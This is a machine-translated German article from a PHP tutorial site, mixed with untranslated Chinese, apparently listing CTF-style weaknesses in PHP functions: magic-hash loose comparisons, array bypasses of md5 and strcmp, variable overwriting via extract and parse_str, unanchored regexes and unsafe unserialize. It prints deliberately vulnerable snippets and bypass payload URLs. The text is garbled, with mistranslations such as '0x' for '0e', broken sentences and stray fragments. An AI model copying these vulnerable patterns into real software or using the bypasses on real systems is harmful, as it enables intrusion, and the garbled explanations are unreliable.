Dieser Artikel beschreibt die Existenz einiger PHP-Funktionen mit kleinen Schwachstellen in PHP. Wer die anfälligen Funktionen in PHP nicht verstanden hat, kann einen Blick darauf werfen, worauf man bei der Verwendung dieser Funktionen in der tatsächlichen PHP-Entwicklung achten sollte Unsinn und lesen Sie diesen Artikel gemeinsam!
Wenn PHP Hash-Strings verarbeitet, wenn Sie „!=" oder „==" zum Vergleichen von Hash verwenden Werte, es interpretiert jeden Hash-Wert, der mit „0x“ beginnt, als Potenz von 0 in wissenschaftlicher Notation (0). Wenn also zwei verschiedene Passwörter gehasht werden, lautet ihr Hash-Wert. Die griechischen Werte beginnen dann alle mit „0e“. PHP wird denken, dass sie gleich sind.
Zu den üblichen Nutzlasten gehören
0x01 md5(str) QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a 0x02 sha1(str) sha1('aaroZmOk') sha1('aaK1STfY') sha1('aaO8zKZF') sha1('aa3OFF9m')
Gleichzeitig kann MD5 keine Arrays verarbeiten. Wenn die folgenden Urteile getroffen werden, können Arrays zur Umgehung von
if(@md5($_GET['a']) == @md5($_GET['b'])) { echo "yes"; } //http://127.0.0.1/1.php?a[]=1&b[]=2
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
String-Vergleichsanalyse
Wenn $_GET['password'] hier ein Array ist, ist der Rückgabewert NULL
Wenn es 123 ||. 123%00&&&** ist, ist der Rückgabewert wahr
<?php print_r(@$_GET); foreach ($_GET AS $key => $value) { print $key."\n"; } ?>
<?php $auth = '0'; // 这里可以覆盖$auth的变量值 print_r($_GET); echo "</br>"; extract($_GET); if($auth == 1){ echo "private!"; } else{ echo "public!"; } ?>
<?php $a='hi'; foreach($_GET as $key => $value) { echo $key."</br>".$value; $$key = $value; } print "</br>".$a; ?>
, um das Ziel zu erreichen. http://127.0.0.1:8080/test.php?a=12
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 先将两个参数先转换成string类型。 当比较数组和字符串的时候,返回是0。 如果参数不是string类型,直接return
<?php $password=$_GET['password']; if (strcmp('xd',$password)) { echo 'NO!'; } else{ echo 'YES!'; } ?>
http://127.0.0.1:8080/test.php?password[]=
<?php echo is_numeric(233333); # 1 echo is_numeric('233333'); # 1 echo is_numeric(0x233333); # 1 echo is_numeric('0x233333'); # 1 echo is_numeric('233333abc'); # 0 ?>
Wenn bei der Übereinstimmung mit regulärem Ausdruck keine Begrenzung des Starts und erfolgt Ende der Zeichenfolge (^ und $), kann es zu Umgehungsproblemen kommen
<?php $ip = 'asd 1.1.1.1 abcd'; // 可以绕过 if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) { die('error'); } else { echo('key...'); } ?>
Eine Art zeitvariabler Abdeckung
<?php $var='init'; print $var."</br>"; parse_str($_SERVER['QUERY_STRING']); echo $_SERVER['QUERY_STRING']."</br>"; print $var; ?>
<?php echo 0 == 'a' ;// a 转换为数字为 0 重点注意 // 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc // 十六进制与整数,被转换为同一进制比较 '0xccccccccc' == '54975581388' ; // 字符串在与数字比较前会自动转换为数字,如果不能转换为数字会变成0 1 == '1'; 1 == '01'; 10 == '1e1'; '100' == '1e2' ; // 十六进制数与带空格十六进制数,被转换为十六进制整数 '0xABCdef' == ' 0xABCdef'; echo '0010e2' == '1e3'; // 0e 开头会被当成数字,又是等于 0*10^xxx=0 // 如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过 '0e509367213418206700842008763514' == '0e481036490867661113260034900752'; '0e481036490867661113260034900752' == '0' ; var_dump(md5('240610708') == md5('QNKCDZO')); var_dump(md5('aabg7XSs') == md5('aabC9RqS')); var_dump(sha1('aaroZmOk') == sha1('aaK1STfY')); var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m')); ?>
Anforderungsparameter enthalten ist, können einige Variablen zerstört werden, um die Programmlogik zu umgehen.
<?php $_CONFIG['extraSecure'] = true; foreach(array('_GET','_POST') as $method) { foreach($$method as $key=>$value) { // $key == _CONFIG // $$key == $_CONFIG // 这个函数会把 $_CONFIG 变量销毁 unset($$key); } } if ($_CONFIG['extraSecure'] == false) { echo 'flag {****}'; } ?>
$var = 5; 方式1:$item = (string)$var; 方式2:$item = strval($var);
var_dump(intval('2')) //2 var_dump(intval('3abcd')) //3 var_dump(intval('abcd')) //0 // 可以使用字符串-0转换,来自于wechall的方法
Intval kann übrigens um %00 gekürzt werden
if($req['number']!=strval(intval($req['number']))){ $info = "number must be equal to it's integer!! "; }
<?php $i ="abc"; switch ($i) { case 0: case 1: case 2: echo "i is less than 3 but not negative"; break; case 3: echo "i is 3"; } ?>
$array=[0,1,2,'3']; var_dump(in_array('abc', $array)); //true var_dump(in_array('1bc', $array)); //true
这里我们先简单介绍一下php中的魔术方法(这里如果对于类、对象、方法不熟的先去学学吧),即Magic方法,php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号开头的,比如 construct, destruct,toString,sleep,wakeup等等。这些函数都会在某些特殊时候被自动调用。 例如construct()方法会在一个对象被创建时自动调用,对应的destruct则会在一个对象被销毁时调用等等。 这里有两个比较特别的Magic方法,sleep 方法会在一个对象被序列化的时候调用。 wakeup方法会在一个对象被反序列化的时候调用。
<?php class test { public $username = ''; public $password = ''; public $file = ''; public function out(){ echo "username: ".$this->username."<br>"."password: ".$this->password ; } public function toString() { return file_get_contents($this->file); } } $a = new test(); $a->file = 'C:\Users\YZ\Desktop\plan.txt'; echo serialize($a); ?> //tostring方法会在输出实例的时候执行,如果实例路径是隐秘文件就可以读取了
<?php class test { public $username = ''; public $password = ''; public $file = ''; public function out(){ echo "username: ".$this->username."<br>"."password: ".$this->password ; } public function toString() { return file_get_contents($this->file); } } $a = 'O:4:"test":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:4:"file";s:28:"C:\Users\YZ\Desktop\plan.txt";}'; echo unserialize($a); ?>
ini_set('session.serialize_handler', 'php_serialize'); >ini_set('session.serialize_handler', 'php');
Die beiden Methoden zum Umgang mit Sitzungen sind unterschiedlich
Diese Sache ist nicht ganz klar, daher werde ich später eine Lösung schreiben!
Hier ist eine Frage! Dies ist ein
Thema
Verwandte Empfehlungen:
Grundstruktur der PHP-FunktionDas obige ist der detaillierte Inhalt vonZusammenfassung anfälliger Funktionen in PHP. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!